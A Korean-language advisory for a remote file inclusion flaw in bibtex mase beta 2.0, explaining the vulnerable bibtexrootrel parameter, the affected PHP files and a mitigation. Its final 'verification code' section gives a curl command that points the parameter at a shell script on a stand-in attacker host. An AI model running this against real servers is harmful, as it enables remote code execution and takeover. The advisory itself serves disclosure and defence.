🇰🇷 한글 설명
bibtex mase beta 2.0의 여러 PHP 파일들에서 원격 파일 포함(RFI) 취약점으로 인해 공격자가 bibtexrootrel 파라미터를 조작하여 임의의 PHP 코드를 원격에서 실행할 수 있습니다. 서버의 완전한 장악 및 데이터 유출이 가능한 치명적 결함입니다.
💡 쉬운 설명
오래된 웹사이트 제작 소프트웨어의 보안 검증 부족으로, 악의적인 파일 경로를 입력하면 공격자가 서버 전체를 제어할 수 있습니다. 웹 서버가 장악되면 개인정보, 금융정보, 설정 파일 등 모든 데이터가 유출됩니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in bibtex mase beta 2.0 allow remote attackers to execute arbitrary PHP code via a URL in the bibtexrootrel parameter to (1) unavailable.php, (2) source.php, (3) log.php, (4) latex.php, (5) indexinfo.php, (6) index.php, (7) importinfo.php, (8) import.php, (9) examplefile.php, (10) clearinfo.php, (11) clear.php, (12) aboutinfo.php, (13) about.php, and other unspecified files.
📍 영향받는 시스템
bibtex mase beta 2.0 및 이전 버전 (PHP 파일: unavailable.php, source.php, log.php, latex.php, indexinfo.php, index.php, importinfo.php, import.php, examplefile.php, clearinfo.php, clear.php, aboutinfo.php, about.php 등)
⚔️ 공격 벡터
HTTP 요청의 bibtexrootrel 파라미터에 외부 호스팅된 PHP 파일 URL을 주입하여 원격 코드 실행 유도
🛡️ 대응 방법
bibtex mase를 최신 패치 버전으로 업그레이드하거나 입력값 화이트리스트 검증 추가로 로컬 디렉토리만 허용
🔧 검증 코드
PHP 에러 메시지나 원격 파일 실행 증거가 보이면 취약하며, 403/404 에러나 반응 없음이면 패치되었거나 소프트웨어가 미설치된 상태입니다.
curl -s http://target/index.php?bibtexrootrel=http://attacker.com/shell.php 2>/dev/null | grep -i 'php\|eval\|system'